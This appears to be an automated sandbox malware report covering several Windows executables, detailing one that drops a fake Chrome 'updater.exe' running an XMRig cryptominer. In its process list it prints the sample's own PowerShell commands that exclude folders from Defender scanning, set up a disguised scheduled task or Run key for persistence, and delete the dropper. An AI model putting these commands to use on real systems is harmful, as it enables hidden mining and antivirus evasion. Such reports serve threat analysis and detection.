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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1799s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 1676 created 3524 1676 M8xUNW42QxTLMRXN.exe 18 PID 1676 created 3524 1676 M8xUNW42QxTLMRXN.exe 18 PID 1676 created 3524 1676 M8xUNW42QxTLMRXN.exe 18 PID 1676 created 3524 1676 M8xUNW42QxTLMRXN.exe 18 PID 4728 created 3524 4728 updater.exe 18 PID 4728 created 3524 4728 updater.exe 18 PID 4728 created 3524 4728 updater.exe 18 PID 2032 created 3524 2032 conhost.exe 18 PID 4728 created 3524 4728 updater.exe 18 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral20/memory/2360-126-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-130-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-132-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-133-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-135-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-139-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-141-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-143-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-145-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-147-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-149-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-151-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-153-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-155-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-157-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-159-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-161-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-163-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-165-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-167-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-169-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-171-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-173-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-175-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-177-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-179-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-181-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-183-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-185-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig behavioral20/memory/2360-187-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4728 updater.exe -
resource yara_rule behavioral20/memory/2360-119-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-126-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-130-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-132-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-133-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-135-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-139-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-141-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-143-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-145-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-147-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-149-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-151-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-153-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-155-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-157-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-159-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-161-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-163-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-165-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-167-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-169-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-171-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-173-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-175-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-177-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-179-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-181-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-183-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-185-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx behavioral20/memory/2360-187-0x00007FF7274D0000-0x00007FF727CC4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4728 set thread context of 2032 4728 updater.exe 117 PID 4728 set thread context of 2360 4728 updater.exe 111 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe M8xUNW42QxTLMRXN.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4492 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1676 M8xUNW42QxTLMRXN.exe 1676 M8xUNW42QxTLMRXN.exe 1356 powershell.exe 1356 powershell.exe 1676 M8xUNW42QxTLMRXN.exe 1676 M8xUNW42QxTLMRXN.exe 444 powershell.exe 444 powershell.exe 1676 M8xUNW42QxTLMRXN.exe 1676 M8xUNW42QxTLMRXN.exe 1676 M8xUNW42QxTLMRXN.exe 1676 M8xUNW42QxTLMRXN.exe 4912 powershell.exe 4912 powershell.exe 4728 updater.exe 4728 updater.exe 4540 powershell.exe 4540 powershell.exe 4728 updater.exe 4728 updater.exe 1840 powershell.exe 1840 powershell.exe 4728 updater.exe 4728 updater.exe 4728 updater.exe 4728 updater.exe 2032 conhost.exe 2032 conhost.exe 4728 updater.exe 4728 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1356 powershell.exe Token: SeDebugPrivilege 444 powershell.exe Token: SeIncreaseQuotaPrivilege 444 powershell.exe Token: SeSecurityPrivilege 444 powershell.exe Token: SeTakeOwnershipPrivilege 444 powershell.exe Token: SeLoadDriverPrivilege 444 powershell.exe Token: SeSystemProfilePrivilege 444 powershell.exe Token: SeSystemtimePrivilege 444 powershell.exe Token: SeProfSingleProcessPrivilege 444 powershell.exe Token: SeIncBasePriorityPrivilege 444 powershell.exe Token: SeCreatePagefilePrivilege 444 powershell.exe Token: SeBackupPrivilege 444 powershell.exe Token: SeRestorePrivilege 444 powershell.exe Token: SeShutdownPrivilege 444 powershell.exe Token: SeDebugPrivilege 444 powershell.exe Token: SeSystemEnvironmentPrivilege 444 powershell.exe Token: SeRemoteShutdownPrivilege 444 powershell.exe Token: SeUndockPrivilege 444 powershell.exe Token: SeManageVolumePrivilege 444 powershell.exe Token: 33 444 powershell.exe Token: 34 444 powershell.exe Token: 35 444 powershell.exe Token: 36 444 powershell.exe Token: SeIncreaseQuotaPrivilege 444 powershell.exe Token: SeSecurityPrivilege 444 powershell.exe Token: SeTakeOwnershipPrivilege 444 powershell.exe Token: SeLoadDriverPrivilege 444 powershell.exe Token: SeSystemProfilePrivilege 444 powershell.exe Token: SeSystemtimePrivilege 444 powershell.exe Token: SeProfSingleProcessPrivilege 444 powershell.exe Token: SeIncBasePriorityPrivilege 444 powershell.exe Token: SeCreatePagefilePrivilege 444 powershell.exe Token: SeBackupPrivilege 444 powershell.exe Token: SeRestorePrivilege 444 powershell.exe Token: SeShutdownPrivilege 444 powershell.exe Token: SeDebugPrivilege 444 powershell.exe Token: SeSystemEnvironmentPrivilege 444 powershell.exe Token: SeRemoteShutdownPrivilege 444 powershell.exe Token: SeUndockPrivilege 444 powershell.exe Token: SeManageVolumePrivilege 444 powershell.exe Token: 33 444 powershell.exe Token: 34 444 powershell.exe Token: 35 444 powershell.exe Token: 36 444 powershell.exe Token: SeIncreaseQuotaPrivilege 444 powershell.exe Token: SeSecurityPrivilege 444 powershell.exe Token: SeTakeOwnershipPrivilege 444 powershell.exe Token: SeLoadDriverPrivilege 444 powershell.exe Token: SeSystemProfilePrivilege 444 powershell.exe Token: SeSystemtimePrivilege 444 powershell.exe Token: SeProfSingleProcessPrivilege 444 powershell.exe Token: SeIncBasePriorityPrivilege 444 powershell.exe Token: SeCreatePagefilePrivilege 444 powershell.exe Token: SeBackupPrivilege 444 powershell.exe Token: SeRestorePrivilege 444 powershell.exe Token: SeShutdownPrivilege 444 powershell.exe Token: SeDebugPrivilege 444 powershell.exe Token: SeSystemEnvironmentPrivilege 444 powershell.exe Token: SeRemoteShutdownPrivilege 444 powershell.exe Token: SeUndockPrivilege 444 powershell.exe Token: SeManageVolumePrivilege 444 powershell.exe Token: 33 444 powershell.exe Token: 34 444 powershell.exe Token: 35 444 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4592 wrote to memory of 1440 4592 cmd.exe 103 PID 4592 wrote to memory of 1440 4592 cmd.exe 103 PID 4912 wrote to memory of 2408 4912 powershell.exe 104 PID 4912 wrote to memory of 2408 4912 powershell.exe 104 PID 4728 wrote to memory of 2032 4728 updater.exe 117 PID 1980 wrote to memory of 4492 1980 cmd.exe 112 PID 1980 wrote to memory of 4492 1980 cmd.exe 112 PID 4728 wrote to memory of 2360 4728 updater.exe 111 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3524
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1676
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1356
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:444
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2408
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4540
